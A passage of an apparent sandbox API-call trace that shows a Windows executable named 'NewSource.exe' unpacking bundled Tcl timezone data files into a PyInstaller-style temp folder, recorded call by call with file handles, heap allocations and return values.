(hostlong=0x87020000) returned 0x287 [0039.828] htonl (hostlong=0x970a0000) returned 0xa97 [0039.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.828] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.828] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.828] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.828] CloseHandle (hObject=0x10c) returned 1 [0039.828] GetLastError () returned 0x0 [0039.828] SetLastError (dwErrCode=0x0) [0039.828] GetLastError () returned 0x0 [0039.828] SetLastError (dwErrCode=0x0) [0039.828] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.828] GetFileType (hFile=0x10c) returned 0x1 [0039.829] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.829] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.829] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.829] CloseHandle (hObject=0x10c) returned 1 [0039.829] GetLastError () returned 0x0 [0039.829] SetLastError (dwErrCode=0x0) [0039.829] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.829] GetFileType (hFile=0x10c) returned 0x1 [0039.829] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.829] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.829] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.830] CloseHandle (hObject=0x10c) returned 1 [0039.830] GetLastError () returned 0x0 [0039.830] SetLastError (dwErrCode=0x0) [0039.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.830] GetFileType (hFile=0x10c) returned 0x1 [0039.830] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.830] CloseHandle (hObject=0x10c) returned 1 [0039.830] GetLastError () returned 0x0 [0039.830] SetLastError (dwErrCode=0x0) [0039.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Macquarie") returned 77 [0039.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Macquarie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\macquarie"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.830] GetLastError () returned 0x2 [0039.830] SetLastError (dwErrCode=0x2) [0039.830] GetLastError () returned 0x2 [0039.830] SetLastError (dwErrCode=0x2) [0039.830] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Macquarie", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Macquarie", lpFilePart=0x0) returned 0x4c [0039.831] GetLastError () returned 0x2 [0039.831] SetLastError (dwErrCode=0x2) [0039.831] GetLastError () returned 0x2 [0039.831] SetLastError (dwErrCode=0x2) [0039.831] GetLastError () returned 0x2 [0039.831] SetLastError (dwErrCode=0x2) [0039.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Macquarie") returned 77 [0039.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Macquarie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\macquarie"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.832] GetFileType (hFile=0x10c) returned 0x1 [0039.833] htonl (hostlong=0x970a0000) returned 0xa97 [0039.833] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.833] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa97, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa97, lpOverlapped=0x0) returned 1 [0039.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.834] CloseHandle (hObject=0x10c) returned 1 [0039.834] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.834] htonl (hostlong=0x40000000) returned 0x40 [0039.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.835] GetFileType (hFile=0x10c) returned 0x1 [0039.835] htonl (hostlong=0xa0945a00) returned 0x5a94a0 [0039.835] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f44a0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.835] htonl (hostlong=0x96000000) returned 0x96 [0039.835] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x55cfe0 [0039.835] htonl (hostlong=0x96000000) returned 0x96 [0039.835] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.835] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.835] htonl (hostlong=0xaf000000) returned 0xaf [0039.835] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf) returned 0x550600 [0039.835] htonl (hostlong=0x96000000) returned 0x96 [0039.835] htonl (hostlong=0xaf000000) returned 0xaf [0039.835] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.835] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.835] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.835] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.835] CloseHandle (hObject=0x10c) returned 1 [0039.835] GetLastError () returned 0x0 [0039.835] SetLastError (dwErrCode=0x0) [0039.835] GetLastError () returned 0x0 [0039.835] SetLastError (dwErrCode=0x0) [0039.835] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.835] GetFileType (hFile=0x10c) returned 0x1 [0039.835] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.835] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.835] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.836] CloseHandle (hObject=0x10c) returned 1 [0039.836] GetLastError () returned 0x0 [0039.836] SetLastError (dwErrCode=0x0) [0039.836] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.836] GetFileType (hFile=0x10c) returned 0x1 [0039.836] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.836] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.836] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.836] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.836] CloseHandle (hObject=0x10c) returned 1 [0039.837] GetLastError () returned 0x0 [0039.837] SetLastError (dwErrCode=0x0) [0039.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.837] GetFileType (hFile=0x10c) returned 0x1 [0039.837] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.837] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.837] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.837] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.837] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.837] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.837] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.837] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.837] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.837] CloseHandle (hObject=0x10c) returned 1 [0039.837] GetLastError () returned 0x0 [0039.837] SetLastError (dwErrCode=0x0) [0039.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Mawson") returned 74 [0039.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Mawson" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\mawson"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.837] GetLastError () returned 0x2 [0039.837] SetLastError (dwErrCode=0x2) [0039.837] GetLastError () returned 0x2 [0039.837] SetLastError (dwErrCode=0x2) [0039.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Mawson", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Mawson", lpFilePart=0x0) returned 0x49 [0039.838] GetLastError () returned 0x2 [0039.838] SetLastError (dwErrCode=0x2) [0039.838] GetLastError () returned 0x2 [0039.838] SetLastError (dwErrCode=0x2) [0039.838] GetLastError () returned 0x2 [0039.838] SetLastError (dwErrCode=0x2) [0039.838] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Mawson") returned 74 [0039.838] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Mawson" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\mawson"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.838] GetFileType (hFile=0x10c) returned 0x1 [0039.838] htonl (hostlong=0xaf000000) returned 0xaf [0039.838] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.838] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xaf, lpOverlapped=0x0) returned 1 [0039.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.839] CloseHandle (hObject=0x10c) returned 1 [0039.840] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.840] htonl (hostlong=0x30000000) returned 0x30 [0039.840] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.840] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.840] GetFileType (hFile=0x10c) returned 0x1 [0039.840] htonl (hostlong=0x36955a00) returned 0x5a9536 [0039.840] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f4536, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.840] htonl (hostlong=0xc5050000) returned 0x5c5 [0039.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5c5) returned 0x550600 [0039.840] htonl (hostlong=0xc5050000) returned 0x5c5 [0039.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.840] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.840] htonl (hostlong=0xc61d0000) returned 0x1dc6 [0039.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1dc6) returned 0x561090 [0039.840] htonl (hostlong=0xc5050000) returned 0x5c5 [0039.840] htonl (hostlong=0xc61d0000) returned 0x1dc6 [0039.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e60 [0039.840] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e60 | out: hHeap=0x530000) returned 1 [0039.840] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.841] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.841] CloseHandle (hObject=0x10c) returned 1 [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c 